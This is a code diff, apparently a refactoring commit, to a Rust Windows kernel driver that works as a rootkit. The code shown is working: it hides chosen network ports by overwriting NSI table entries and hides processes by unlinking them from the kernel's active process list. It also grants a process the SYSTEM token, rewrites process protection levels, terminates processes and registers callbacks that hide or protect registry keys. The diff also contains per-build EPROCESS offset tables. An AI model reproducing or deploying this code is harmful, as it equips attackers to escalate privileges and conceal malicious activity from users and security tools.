i: usize,
|
||||||
|
local_port: u16,
|
||||||
|
remote_port: Option<u16>,
|
||||||
|
protocol: Protocol,
|
||||||
|
status_entries: *mut NSI_STATUS_ENTRY,
|
||||||
|
process_entries: *mut NSI_PROCESS_ENTRY,
|
||||||
|
nsi_param: *mut NSI_PARAM,
|
||||||
|
) {
|
||||||
|
let port_number = match (local_port, remote_port) {
|
||||||
|
// Use remote port if local is zero
|
||||||
|
(0, Some(remote)) if remote != 0 => remote,
|
||||||
|
|
||||||
|
// Use local port if it's non-zero
|
||||||
|
(local, _) if local != 0 => local,
|
||||||
|
_ => {
|
||||||
|
println!("Both doors are zero, there is no way to process the entrance.");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
let port_type = if remote_port.unwrap_or(0) != 0 {
|
||||||
|
PortType::REMOTE
|
||||||
|
} else {
|
||||||
|
PortType::LOCAL
|
||||||
|
};
|
||||||
|
|
||||||
|
let info = TargetPort {
|
||||||
|
protocol,
|
||||||
|
port_type,
|
||||||
|
port_number,
|
||||||
|
enable: true,
|
||||||
|
};
|
||||||
|
|
||||||
|
// If the port is protected, modify the network entries
|
||||||
|
if PROTECTED_PORTS.lock().contains(&info) {
|
||||||
|
let mut entries_index = i + 1;
|
||||||
|
if entries_index >= count {
|
||||||
|
entries_index = i - 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Copies TCP/UDP entries
|
||||||
|
let entries_slice = from_raw_parts_mut(entries, count);
|
||||||
|
copy(
|
||||||
|
&entries_slice[entries_index],
|
||||||
|
&mut entries_slice[i],
|
||||||
|
count - entries_index,
|
||||||
|
);
|
||||||
|
|
||||||
|
// Verify and copy status_entries
|
||||||
|
if !status_entries.is_null() {
|
||||||
|
let status_entries_slice = from_raw_parts_mut(status_entries, count);
|
||||||
|
if entries_index < status_entries_slice.len() {
|
||||||
|
copy(
|
||||||
|
&status_entries_slice[entries_index],
|
||||||
|
&mut status_entries_slice[i],
|
||||||
|
count - entries_index,
|
||||||
|
);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Check and copy process_entries
|
||||||
|
if !process_entries.is_null() {
|
||||||
|
let process_entries_slice = from_raw_parts_mut(process_entries, count);
|
||||||
|
if entries_index < process_entries_slice.len() {
|
||||||
|
copy(
|
||||||
|
&process_entries_slice[entries_index],
|
||||||
|
&mut process_entries_slice[i],
|
||||||
|
count - entries_index,
|
||||||
|
);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Adds a port to the list of protected ports.
|
||||||
|
///
|
||||||
|
/// # Arguments
|
||||||
|
///
|
||||||
|
/// * `port` - A mutable pointer to a [`TargetPort`] structure.
|
||||||
|
///
|
||||||
|
/// # Return
|
||||||
|
///
|
||||||
|
/// If the port is successfully added to the list.
|
||||||
|
pub fn add_port(port: *mut TargetPort) -> NTSTATUS {
|
||||||
|
if port.is_null() {
|
||||||
|
return STATUS_UNSUCCESSFUL;
|
||||||
|
}
|
||||||
|
|
||||||
|
let mut ports = PROTECTED_PORTS.lock();
|
||||||
|
let port = unsafe { *port };
|
||||||
|
|
||||||
|
if ports.len() >= MAX_PORT {
|
||||||
|
return STATUS_UNSUCCESSFUL;
|
||||||
|
}
|
||||||
|
|
||||||
|
if ports.contains(&port) {
|
||||||
|
return STATUS_DUPLICATE_OBJECTID;
|
||||||
|
}
|
||||||
|
|
||||||
|
ports.push(port);
|
||||||
|
|
||||||
|
STATUS_SUCCESS
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Removes a port from the list of protected ports.
|
||||||
|
///
|
||||||
|
/// # Arguments
|
||||||
|
///
|
||||||
|
/// * `port` - A mutable pointer to a [`TargetPort`] structure.
|
||||||
|
///
|
||||||
|
/// # Return
|
||||||
|
///
|
||||||
|
/// If the port is successfully removed from the list.
|
||||||
|
pub unsafe fn remove_port(port: *mut TargetPort) -> NTSTATUS {
|
||||||
|
if port.is_null() {
|
||||||
|
return STATUS_UNSUCCESSFUL;
|
||||||
|
}
|
||||||
|
|
||||||
|
let mut ports = PROTECTED_PORTS.lock();
|
||||||
|
(*port).enable = true;
|
||||||
|
|
||||||
|
if let Some(index) = ports.iter().position(|&p| {
|
||||||
|
p.protocol == (*port).protocol
|
||||||
|
&& p.port_type == (*port).port_type
|
||||||
|
&& p.port_number == (*port).port_number
|
||||||
|
}) {
|
||||||
|
ports.remove(index);
|
||||||
|
STATUS_SUCCESS
|
||||||
|
} else {
|
||||||
|
println!("Port {:?} not found in the list", port);
|
||||||
|
STATUS_UNSUCCESSFUL
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -1,7 +1,6 @@
|
|||||||
use spin::Lazy;
|
use spin::Lazy;
|
||||||
use wdk_sys::{RTL_OSVERSIONINFOW, ntddk::RtlGetVersion};
|
use wdk_sys::{ntddk::RtlGetVersion, RTL_OSVERSIONINFOW};
|
||||||
|
|
||||||
/// Constant values for Windows build numbers.
|
|
||||||
const WIN_1507: u32 = 10240;
|
const WIN_1507: u32 = 10240;
|
||||||
const WIN_1511: u32 = 10586;
|
const WIN_1511: u32 = 10586;
|
||||||
const WIN_1607: u32 = 14393;
|
const WIN_1607: u32 = 14393;
|
||||||
@@ -16,27 +15,19 @@ const WIN_20H2: u32 = 19042;
|
|||||||
const WIN_21H1: u32 = 19043;
|
const WIN_21H1: u32 = 19043;
|
||||||
const WIN_21H2: u32 = 19044;
|
const WIN_21H2: u32 = 19044;
|
||||||
const WIN_22H2: u32 = 19045;
|
const WIN_22H2: u32 = 19045;
|
||||||
|
|
||||||
/// Constant values for Windows build numbers (Not currently used)
|
|
||||||
#[allow(dead_code)]
|
#[allow(dead_code)]
|
||||||
const WIN_1121H2: u32 = 22000;
|
const WIN_1121H2: u32 = 22000;
|
||||||
#[allow(dead_code)]
|
#[allow(dead_code)]
|
||||||
const WIN_1122H2: u32 = 22621;
|
const WIN_1122H2: u32 = 22621;
|
||||||
|
|
||||||
/// Holds the Windows build number initialized at runtime.
|
/// Holds the Windows build number initialized at runtime.
|
||||||
///
|
|
||||||
/// This value is fetched using the `get_windows_build_number` function,
|
|
||||||
/// which utilizes the `RtlGetVersion` API from the Windows kernel.
|
|
||||||
static BUILD_NUMBER: Lazy<u32> = Lazy::new(|| get_windows_build_number());
|
static BUILD_NUMBER: Lazy<u32> = Lazy::new(|| get_windows_build_number());
|
||||||
|
|
||||||
/// Retrieves the process lock offset based on the current Windows build number.
|
/// Retrieves the process lock offset based on the current Windows build number.
|
||||||
///
|
///
|
||||||
/// This function returns the offset for the process lock field in the `EPROCESS` structure
|
|
||||||
/// for the current version of Windows.
|
|
||||||
///
|
|
||||||
/// # Returns
|
/// # Returns
|
||||||
///
|
///
|
||||||
/// * The offset (in bytes) to the process lock field.
|
/// The offset (in bytes) to the process lock field.
|
||||||
#[inline]
|
#[inline]
|
||||||
pub fn get_process_lock() -> isize {
|
pub fn get_process_lock() -> isize {
|
||||||
match *BUILD_NUMBER {
|
match *BUILD_NUMBER {
|
||||||
@@ -51,12 +42,9 @@ pub fn get_process_lock() -> isize {
|
|||||||
|
|
||||||
/// Retrieves the active process link offset based on the current Windows build number.
|
/// Retrieves the active process link offset based on the current Windows build number.
|
||||||
///
|
///
|
||||||
/// This function returns the offset for the active process link in the `EPROCESS` structure,
|
|
||||||
/// which points to the list of processes in the active process chain.
|
|
||||||
///
|
|
||||||
/// # Returns
|
/// # Returns
|
||||||
///
|
///
|
||||||
/// * The offset (in bytes) to the active process link.
|
/// The offset (in bytes) to the active process link.
|
||||||
#[inline]
|
#[inline]
|
||||||
pub fn get_active_process_link_offset() -> isize {
|
pub fn get_active_process_link_offset() -> isize {
|
||||||
match *BUILD_NUMBER {
|
match *BUILD_NUMBER {
|
||||||
@@ -68,12 +56,9 @@ pub fn get_active_process_link_offset() -> isize {
|
|||||||
|
|
||||||
/// Retrieves the VAD root offset based on the current Windows build number.
|
/// Retrieves the VAD root offset based on the current Windows build number.
|
||||||
///
|
///
|
||||||
/// This function returns the offset for the VAD (Virtual Address Descriptor) root
|
|
||||||
/// in the `EPROCESS` structure for different Windows versions.
|
|
||||||
///
|
|
||||||
/// # Returns
|
/// # Returns
|
||||||
///
|
///
|
||||||
/// * The offset (in bytes) to the VAD root field.
|
/// The offset (in bytes) to the VAD root field.
|
||||||
#[inline]
|
#[inline]
|
||||||
pub fn get_vad_root() -> u32 {
|
pub fn get_vad_root() -> u32 {
|
||||||
match *BUILD_NUMBER {
|
match *BUILD_NUMBER {
|
||||||
@@ -88,13 +73,9 @@ pub fn get_vad_root() -> u32 {
|
|||||||
|
|
||||||
/// Retrieves the token offset based on the current Windows build number.
|
/// Retrieves the token offset based on the current Windows build number.
|
||||||
///
|
///
|
||||||
/// This function returns the offset for the token field in the `EPROCESS` structure,
|
|
||||||
/// which points to the access token that represents the security context of a process.
|
|
||||||
/// The token contains privileges, group memberships, and other security-related information.
|
|
||||||
///
|
|
||||||
/// # Returns
|
/// # Returns
|
||||||
///
|
///
|
||||||
/// * The offset (in bytes) to the token field in the `EPROCESS` structure.
|
/// The offset (in bytes) to the token field in the `EPROCESS` structure.
|
||||||
#[inline]
|
#[inline]
|
||||||
pub fn get_token_offset() -> isize {
|
pub fn get_token_offset() -> isize {
|
||||||
match *BUILD_NUMBER {
|
match *BUILD_NUMBER {
|
||||||
@@ -106,13 +87,9 @@ pub fn get_token_offset() -> isize {
|
|||||||
|
|
||||||
/// Retrieves the protection signature offset based on the current Windows build number.
|
/// Retrieves the protection signature offset based on the current Windows build number.
|
||||||
///
|
///
|
||||||
/// This function returns the offset for the protection signature field in the `EPROCESS` structure.
|
|
||||||
/// This field defines the protection type and the signer of the protection for the process,
|
|
||||||
/// allowing certain processes to be protected from termination or modification.
|
|
||||||
///
|
|
||||||
/// # Returns
|
/// # Returns
|
||||||
///
|
///
|
||||||
/// * The offset (in bytes) to the protection signature field in the `EPROCESS` structure.
|
/// The offset (in bytes) to the protection signature field in the `EPROCESS` structure.
|
||||||
#[inline]
|
#[inline]
|
||||||
pub fn get_signature_offset() -> isize {
|
pub fn get_signature_offset() -> isize {
|
||||||
match *BUILD_NUMBER {
|
match *BUILD_NUMBER {
|
||||||
@@ -127,13 +104,9 @@ pub fn get_signature_offset() -> isize {
|
|||||||
|
|
||||||
/// Retrieves the thread list entry offset based on the current Windows build number.
|
/// Retrieves the thread list entry offset based on the current Windows build number.
|
||||||
///
|
///
|
||||||
/// This function returns the offset for the thread list entry in the `EPROCESS` structure.
|
|
||||||
/// The thread list entry links all the threads belonging to a process, allowing the system
|
|
||||||
/// to traverse the list of threads for each process.
|
|
||||||
///
|
|
||||||
/// # Returns
|
/// # Returns
|
||||||
///
|
///
|
||||||
/// * The offset (in bytes) to the thread list entry in the `EPROCESS` structure.
|
/// The offset (in bytes) to the thread list entry in the `EPROCESS` structure.
|
||||||
#[inline]
|
#[inline]
|
||||||
pub fn get_thread_lock_offset() -> isize {
|
pub fn get_thread_lock_offset() -> isize {
|
||||||
match *BUILD_NUMBER {
|
match *BUILD_NUMBER {
|
||||||
@@ -150,13 +123,9 @@ pub fn get_thread_lock_offset() -> isize {
|
|||||||
|
|
||||||
/// Retrieves the thread lock offset based on the current Windows build number.
|
/// Retrieves the thread lock offset based on the current Windows build number.
|
||||||
///
|
///
|
||||||
/// This function returns the offset for the thread lock field in the `EPROCESS` structure.
|
|
||||||
/// The thread lock is used to synchronize access to the list of threads within a process,
|
|
||||||
/// ensuring thread-safe operations when managing process threads.
|
|
||||||
///
|
|
||||||
/// # Returns
|
/// # Returns
|
||||||
///
|
///
|
||||||
/// * The offset (in bytes) to the thread lock field in the `EPROCESS` structure.
|
/// The offset (in bytes) to the thread lock field in the `EPROCESS` structure.
|
||||||
#[inline]
|
#[inline]
|
||||||
pub fn get_thread_list_entry_offset() -> isize {
|
pub fn get_thread_list_entry_offset() -> isize {
|
||||||
match *BUILD_NUMBER {
|
match *BUILD_NUMBER {
|
||||||
@@ -171,12 +140,9 @@ pub fn get_thread_list_entry_offset() -> isize {
|
|||||||
|
|
||||||
/// Retrieves the Windows build number using the `RtlGetVersion` API.
|
/// Retrieves the Windows build number using the `RtlGetVersion` API.
|
||||||
///
|
///
|
||||||
/// This function calls the `RtlGetVersion` kernel API to retrieve information about the OS version,
|
|
||||||
/// including the build number. It is used to determine which Windows version the code is running on.
|
|
||||||
///
|
|
||||||
/// # Returns
|
/// # Returns
|
||||||
///
|
///
|
||||||
/// * The Windows build number or `0` if the call to `RtlGetVersion` fails.
|
/// The Windows build number or `0` if the call to `RtlGetVersion` fails.
|
||||||
#[inline]
|
#[inline]
|
||||||
pub fn get_windows_build_number() -> u32 {
|
pub fn get_windows_build_number() -> u32 {
|
||||||
unsafe {
|
unsafe {
|
||||||
@@ -1,55 +1,43 @@
|
|||||||
use alloc::vec::Vec;
|
use alloc::vec::Vec;
|
||||||
|
|
||||||
use log::{info, error};
|
|
||||||
use spin::{Lazy, Mutex};
|
|
||||||
use wdk_sys::*;
|
|
||||||
use wdk_sys::ntddk::{
|
|
||||||
ObfDereferenceObject,
|
|
||||||
PsLookupProcessByProcessId,
|
|
||||||
ZwClose, ZwOpenProcess,
|
|
||||||
ZwTerminateProcess,
|
|
||||||
};
|
|
||||||
|
|
||||||
use common::structs::TargetProcess;
|
use common::structs::TargetProcess;
|
||||||
use crate::{PROCESS_SIGNATURE, Result};
|
use log::{error, info};
|
||||||
use crate::error::ShadowError;
|
use spin::{Lazy, Mutex};
|
||||||
|
use wdk_sys::ntddk::{
|
||||||
|
ObfDereferenceObject, PsLookupProcessByProcessId, ZwClose, ZwOpenProcess, ZwTerminateProcess,
|
||||||
|
};
|
||||||
|
use wdk_sys::*;
|
||||||
|
|
||||||
|
use crate::error::{ShadowError, ShadowResult};
|
||||||
use crate::lock::with_push_lock_exclusive;
|
use crate::lock::with_push_lock_exclusive;
|
||||||
use crate::offsets::{
|
use crate::offsets::{
|
||||||
get_active_process_link_offset,
|
get_active_process_link_offset, get_process_lock, get_signature_offset, get_token_offset,
|
||||||
get_process_lock,
|
|
||||||
get_signature_offset,
|
|
||||||
get_token_offset,
|
|
||||||
};
|
};
|
||||||
|
use crate::PROCESS_SIGNATURE;
|
||||||
|
|
||||||
// Max Number PIDs
|
// Max Number PIDs
|
||||||
const MAX_PID: usize = 100;
|
const MAX_PID: usize = 100;
|
||||||
|
|
||||||
|
// System process (By default the PID is 4)
|
||||||
|
const SYSTEM_PROCESS: usize = 4;
|
||||||
|
|
||||||
|
/// List of target processes protected by a mutex.
|
||||||
|
pub static PROCESS_INFO_HIDE: Lazy<Mutex<Vec<TargetProcess>>> =
|
||||||
|
Lazy::new(|| Mutex::new(Vec::with_capacity(MAX_PID)));
|
||||||
|
|
||||||
/// Represents a process in the operating system.
|
/// Represents a process in the operating system.
|
||||||
///
|
|
||||||
/// The `Process` struct provides a safe abstraction over the `EPROCESS` structure used
|
|
||||||
/// in Windows kernel development. It allows for looking up a process by its PID and ensures
|
|
||||||
/// proper cleanup of resources when the structure goes out of scope.
|
|
||||||
pub struct Process {
|
pub struct Process {
|
||||||
/// Pointer to the EPROCESS structure, used for managing process information.
|
/// Pointer to the EPROCESS structure, used for managing process information.
|
||||||
pub e_process: PEPROCESS,
|
pub e_process: PEPROCESS,
|
||||||
}
|
}
|
||||||
|
|
||||||
impl Process {
|
impl Process {
|
||||||
/// Creates a new `Process` instance by looking up a process by its PID.
|
/// Creates a new `Process`.
|
||||||
///
|
|
||||||
/// This method attempts to find a process using its process identifier (PID). If the process
|
|
||||||
/// is found, it returns an instance of the `Process` structure containing a pointer to the
|
|
||||||
/// `EPROCESS` structure.
|
|
||||||
///
|
///
|
||||||
/// # Arguments
|
/// # Arguments
|
||||||
///
|
///
|
||||||
/// * `pid` - The process identifier (PID) of the process to be looked up.
|
/// * `pid` - The process identifier (PID) of the process to be looked up.
|
||||||
///
|
///
|
||||||
/// # Returns
|
|
||||||
///
|
|
||||||
/// * `Ok(Self)` - Returns a `Process` instance if the process lookup is successful.
|
|
||||||
/// * `Err(ShadowError)` - Returns an error message if the lookup fails.
|
|
||||||
///
|
|
||||||
/// # Examples
|
/// # Examples
|
||||||
///
|
///
|
||||||
/// ```rust,ignore
|
/// ```rust,ignore
|
||||||
@@ -60,40 +48,20 @@ impl Process {
|
|||||||
/// }
|
/// }
|
||||||
/// ```
|
/// ```
|
||||||
#[inline]
|
#[inline]
|
||||||
pub fn new(pid: usize) -> Result<Self> {
|
pub fn new(pid: usize) -> ShadowResult<Self> {
|
||||||
let mut e_process = core::ptr::null_mut();
|
let mut e_process = core::ptr::null_mut();
|
||||||
|
|
||||||
let status = unsafe { PsLookupProcessByProcessId(pid as _, &mut e_process) };
|
let status = unsafe { PsLookupProcessByProcessId(pid as _, &mut e_process) };
|
||||||
if NT_SUCCESS(status) {
|
if NT_SUCCESS(status) {
|
||||||
Ok(Self { e_process })
|
Ok(Self { e_process })
|
||||||
} else {
|
} else {
|
||||||
Err(ShadowError::ApiCallFailed("PsLookupProcessByProcessId", status))
|
Err(ShadowError::ApiCallFailed(
|
||||||
|
"PsLookupProcessByProcessId",
|
||||||
|
status,
|
||||||
|
))
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
|
||||||
|
|
||||||
/// Implements the `Drop` trait for the `Process` structure to handle cleanup when the structure goes out of scope.
|
|
||||||
///
|
|
||||||
/// The `Drop` implementation ensures that the reference count on the `EPROCESS` structure
|
|
||||||
/// is properly decremented when the `Process` instance is dropped. This prevents resource leaks.
|
|
||||||
impl Drop for Process {
|
|
||||||
/// Cleans up the resources held by the `Process` structure.
|
|
||||||
///
|
|
||||||
/// This method decrements the reference count of the `EPROCESS` structure when the
|
|
||||||
/// `Process` instance is dropped, ensuring proper cleanup.
|
|
||||||
fn drop(&mut self) {
|
|
||||||
if !self.e_process.is_null() {
|
|
||||||
unsafe { ObfDereferenceObject(self.e_process.cast()) };
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
/// List of target processes protected by a mutex.
|
|
||||||
pub static PROCESS_INFO_HIDE: Lazy<Mutex<Vec<TargetProcess>>> =
|
|
||||||
Lazy::new(|| Mutex::new(Vec::with_capacity(MAX_PID)));
|
|
||||||
|
|
||||||
/// This implementation focuses on the hiding and unhiding of processes.
|
|
||||||
impl Process {
|
|
||||||
/// Hides a process by removing it from the active process list in the operating system.
|
/// Hides a process by removing it from the active process list in the operating system.
|
||||||
///
|
///
|
||||||
/// # Arguments
|
/// # Arguments
|
||||||
@@ -102,10 +70,9 @@ impl Process {
|
|||||||
///
|
///
|
||||||
/// # Returns
|
/// # Returns
|
||||||
///
|
///
|
||||||
/// * `Ok(LIST_ENTRY)` - Returns the previous `LIST_ENTRY` containing the pointers to the neighboring processes
|
/// The previous `LIST_ENTRY` containing the pointers to the neighboring processes
|
||||||
/// in the list before it was modified.
|
/// in the list before it was modified.
|
||||||
/// * `Err(ShadowError)` - Returns an error if the process lookup fails or the operation encounters an issue.
|
pub unsafe fn hide_process(pid: usize) -> ShadowResult<LIST_ENTRY> {
|
||||||
pub unsafe fn hide_process(pid: usize) -> Result<LIST_ENTRY> {
|
|
||||||
// Log the start of the process hiding routine.
|
// Log the start of the process hiding routine.
|
||||||
info!("Attempting to hide process with PID: {}", pid);
|
info!("Attempting to hide process with PID: {}", pid);
|
||||||
|
|
||||||
@@ -115,7 +82,10 @@ impl Process {
|
|||||||
|
|
||||||
// Retrieve the EPROCESS structure for the target process
|
// Retrieve the EPROCESS structure for the target process
|
||||||
let process = Self::new(pid)?;
|
let process = Self::new(pid)?;
|
||||||
info!("Found EPROCESS for PID {} at address: {:p}", pid, process.e_process);
|
info!(
|
||||||
|
"Found EPROCESS for PID {} at address: {:p}",
|
||||||
|
pid, process.e_process
|
||||||
|
);
|
||||||
|
|
||||||
// Retrieve the `LIST_ENTRY` for the active process link.
|
// Retrieve the `LIST_ENTRY` for the active process link.
|
||||||
let current = process.e_process.cast::<u8>().offset(active_process_link) as PLIST_ENTRY;
|
let current = process.e_process.cast::<u8>().offset(active_process_link) as PLIST_ENTRY;
|
||||||
@@ -134,12 +104,21 @@ impl Process {
|
|||||||
// The previous process in the chain
|
// The previous process in the chain
|
||||||
let previous = (*current).Blink;
|
let previous = (*current).Blink;
|
||||||
|
|
||||||
info!("Before unlink: current->Flink = {:p}, current->Blink = {:p}", (*current).Flink, (*current).Blink);
|
info!(
|
||||||
info!("Neighboring entries: next = {:p}, previous = {:p}", next, previous);
|
"Before unlink: current->Flink = {:p}, current->Blink = {:p}",
|
||||||
|
(*current).Flink,
|
||||||
|
(*current).Blink
|
||||||
|
);
|
||||||
|
info!(
|
||||||
|
"Neighboring entries: next = {:p}, previous = {:p}",
|
||||||
|
next, previous
|
||||||
|
);
|
||||||
|
|
||||||
// Check if the neighboring pointers are valid before proceeding
|
// Check if the neighboring pointers are valid before proceeding
|
||||||
if next.is_null() || previous.is_null() {
|
if next.is_null() || previous.is_null() {
|
||||||
error!("One or both of the neighboring pointers are null. Aborting unlink operation.");
|
error!(
|
||||||
|
"One or both of the neighboring pointers are null. Aborting unlink operation."
|
||||||
|
);
|
||||||
return Err(ShadowError::InvalidListEntry);
|
return Err(ShadowError::InvalidListEntry);
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -160,7 +139,11 @@ impl Process {
|
|||||||
info!("Process LIST_ENTRY modified to point to itself");
|
info!("Process LIST_ENTRY modified to point to itself");
|
||||||
|
|
||||||
// Log final state of the current entry
|
// Log final state of the current entry
|
||||||
info!("Final state of current LIST_ENTRY: Flink = {:p}, Blink = {:p}", (*current).Flink, (*current).Blink);
|
info!(
|
||||||
|
"Final state of current LIST_ENTRY: Flink = {:p}, Blink = {:p}",
|
||||||
|
(*current).Flink,
|
||||||
|
(*current).Blink
|
||||||
|
);
|
||||||
Ok(previous_link)
|
Ok(previous_link)
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
@@ -175,9 +158,8 @@ impl Process {
|
|||||||
///
|
///
|
||||||
/// # Returns
|
/// # Returns
|
||||||
///
|
///
|
||||||
/// * `Ok(NTSTATUS)` - Indicates the process was successfully restored to the active list.
|
/// Indicates the process was successfully restored to the active list.
|
||||||
/// * `Err(ShadowError)` - Returns an error if the process lookup fails or the operation encounters an issue.
|
pub unsafe fn unhide_process(pid: usize, list_entry: PLIST_ENTRY) -> ShadowResult<NTSTATUS> {
|
||||||
pub unsafe fn unhide_process(pid: usize, list_entry: PLIST_ENTRY) -> Result<NTSTATUS> {
|
|
||||||
// Getting offsets based on the Windows build number
|
// Getting offsets based on the Windows build number
|
||||||
let active_process_link = get_active_process_link_offset();
|
let active_process_link = get_active_process_link_offset();
|
||||||
let offset_lock = get_process_lock();
|
let offset_lock = get_process_lock();
|
||||||
@@ -209,12 +191,9 @@ impl Process {
|
|||||||
|
|
||||||
/// Enumerates all currently hidden processes.
|
/// Enumerates all currently hidden processes.
|
||||||
///
|
///
|
||||||
/// This function iterates through the list of hidden processes stored in `PROCESS_INFO_HIDE` and returns
|
|
||||||
/// a vector containing their information.
|
|
||||||
///
|
|
||||||
/// # Returns
|
/// # Returns
|
||||||
///
|
///
|
||||||
/// * A vector containing the information of all hidden processes.
|
/// A vector containing the information of all hidden processes.
|
||||||
pub unsafe fn enumerate_hide_processes() -> Vec<TargetProcess> {
|
pub unsafe fn enumerate_hide_processes() -> Vec<TargetProcess> {
|
||||||
let mut processes: Vec<TargetProcess> = Vec::new();
|
let mut processes: Vec<TargetProcess> = Vec::new();
|
||||||
let process_info = PROCESS_INFO_HIDE.lock();
|
let process_info = PROCESS_INFO_HIDE.lock();
|
||||||
@@ -227,12 +206,6 @@ impl Process {
|
|||||||
|
|
||||||
processes
|
processes
|
||||||
}
|
}
|
||||||
}
|
|
||||||
|
|
||||||
/// This implementation focuses on finishing the process, changing the PPL and elevating the process.
|
|
||||||
impl Process {
|
|
||||||
// System process (By default the PID is 4)
|
|
||||||
const SYSTEM_PROCESS: usize = 4;
|
|
||||||
|
|
||||||
/// Elevates a process by setting its token to the system process token.
|
/// Elevates a process by setting its token to the system process token.
|
||||||
///
|
///
|
||||||
@@ -242,9 +215,8 @@ impl Process {
|
|||||||
///
|
///
|
||||||
/// # Returns
|
/// # Returns
|
||||||
///
|
///
|
||||||
/// * `Ok(NTSTATUS)` - Indicates that the token was successfully elevated.
|
/// Indicates that the token was successfully elevated.
|
||||||
/// * `Err(ShadowError)` - Returns an error if the process lookup fails or the operation encounters an issue.
|
pub unsafe fn elevate_process(pid: usize) -> ShadowResult<NTSTATUS> {
|
||||||
pub unsafe fn elevate_process(pid: usize) -> Result<NTSTATUS> {
|
|
||||||
// Get the offset for the token in the EPROCESS structure
|
// Get the offset for the token in the EPROCESS structure
|
||||||
let offset = get_token_offset();
|
let offset = get_token_offset();
|
||||||
|
|
||||||
@@ -252,7 +224,7 @@ impl Process {
|
|||||||
let target = Self::new(pid)?;
|
let target = Self::new(pid)?;
|
||||||
|
|
||||||
// Retrieve the EPROCESS for the system process (PID 4)
|
// Retrieve the EPROCESS for the system process (PID 4)
|
||||||
let system = Self::new(Self::SYSTEM_PROCESS)?;
|
let system = Self::new(SYSTEM_PROCESS)?;
|
||||||
|
|
||||||
// Access the Token field in the EPROCESS structure of both the target and system processes
|
// Access the Token field in the EPROCESS structure of both the target and system processes
|
||||||
let target_token_ptr = target.e_process.cast::<u8>().offset(offset) as *mut u64;
|
let target_token_ptr = target.e_process.cast::<u8>().offset(offset) as *mut u64;
|
||||||
@@ -273,9 +245,8 @@ impl Process {
|
|||||||
///
|
///
|
||||||
/// # Returns
|
/// # Returns
|
||||||
///
|
///
|
||||||
/// * `Ok(NTSTATUS)` - Returns if the signature and protection levels were successfully updated.
|
/// If the signature and protection levels were successfully updated.
|
||||||
/// * `Err(ShadowError)` - Returns an error if the process lookup fails or the operation encounters an issue.
|
pub unsafe fn protection_signature(pid: usize, sg: usize, tp: usize) -> ShadowResult<NTSTATUS> {
|
||||||
pub unsafe fn protection_signature(pid: usize, sg: usize, tp: usize) -> Result<NTSTATUS> {
|
|
||||||
// Get the offset for the protection signature within the EPROCESS structure
|
// Get the offset for the protection signature within the EPROCESS structure
|
||||||
let offset = get_signature_offset();
|
let offset = get_signature_offset();
|
||||||
|
|
||||||
@@ -291,7 +262,7 @@ impl Process {
|
|||||||
(*process_signature).SignatureLevel = new_sign as u8;
|
(*process_signature).SignatureLevel = new_sign as u8;
|
||||||
(*process_signature).Protection.SetType(tp as u8);
|
(*process_signature).Protection.SetType(tp as u8);
|
||||||
(*process_signature).Protection.SetSigner(sg as u8);
|
(*process_signature).Protection.SetSigner(sg as u8);
|
||||||
|
|
||||||
Ok(STATUS_SUCCESS)
|
Ok(STATUS_SUCCESS)
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -303,9 +274,8 @@ impl Process {
|
|||||||
///
|
///
|
||||||
/// # Returns
|
/// # Returns
|
||||||
///
|
///
|
||||||
/// * `Ok(NTSTATUS)` - Returns if the process was successfully terminated.
|
/// If the process was successfully terminated.
|
||||||
/// * `Err(ShadowError)` - Returns an error if any step (opening, terminating, or closing the process) fails.
|
pub unsafe fn terminate_process(pid: usize) -> ShadowResult<NTSTATUS> {
|
||||||
pub unsafe fn terminate_process(pid: usize) -> Result<NTSTATUS> {
|
|
||||||
let mut h_process: HANDLE = core::ptr::null_mut();
|
let mut h_process: HANDLE = core::ptr::null_mut();
|
||||||
let mut object_attributes: OBJECT_ATTRIBUTES = core::mem::zeroed();
|
let mut object_attributes: OBJECT_ATTRIBUTES = core::mem::zeroed();
|
||||||
let mut client_id = CLIENT_ID {
|
let mut client_id = CLIENT_ID {
|
||||||
@@ -340,3 +310,11 @@ impl Process {
|
|||||||
Ok(STATUS_SUCCESS)
|
Ok(STATUS_SUCCESS)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
impl Drop for Process {
|
||||||
|
fn drop(&mut self) {
|
||||||
|
if !self.e_process.is_null() {
|
||||||
|
unsafe { ObfDereferenceObject(self.e_process.cast()) };
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -4,23 +4,18 @@ use alloc::{format, string::String};
|
|||||||
use core::{ffi::c_void, ptr::null_mut};
|
use core::{ffi::c_void, ptr::null_mut};
|
||||||
|
|
||||||
use wdk::println;
|
use wdk::println;
|
||||||
use wdk_sys::_REG_NOTIFY_CLASS::*;
|
|
||||||
use wdk_sys::ntddk::*;
|
use wdk_sys::ntddk::*;
|
||||||
|
use wdk_sys::_REG_NOTIFY_CLASS::*;
|
||||||
use wdk_sys::{_MODE::KernelMode, *};
|
use wdk_sys::{_MODE::KernelMode, *};
|
||||||
|
|
||||||
use crate::utils::{pool::PoolMemory, valid_kernel_memory};
|
use super::utils::{check_key_value, enumerate_value_key, RegistryInfo};
|
||||||
use crate::registry::{
|
use super::*;
|
||||||
Registry,
|
use crate::{
|
||||||
utils::{check_key, enumerate_key},
|
registry::{
|
||||||
};
|
utils::{check_key, enumerate_key},
|
||||||
use super::{
|
Registry,
|
||||||
HIDE_KEY_VALUES, HIDE_KEYS,
|
},
|
||||||
PROTECTION_KEY_VALUES, PROTECTION_KEYS
|
utils::{pool::PoolMemory, valid_kernel_memory},
|
||||||
};
|
|
||||||
use super::utils::{
|
|
||||||
RegistryInfo,
|
|
||||||
check_key_value,
|
|
||||||
enumerate_value_key
|
|
||||||
};
|
};
|
||||||
|
|
||||||
/// Handle for Registry Callback.
|
/// Handle for Registry Callback.
|
||||||
@@ -30,13 +25,13 @@ pub static mut CALLBACK_REGISTRY: LARGE_INTEGER = unsafe { core::mem::zeroed() }
|
|||||||
///
|
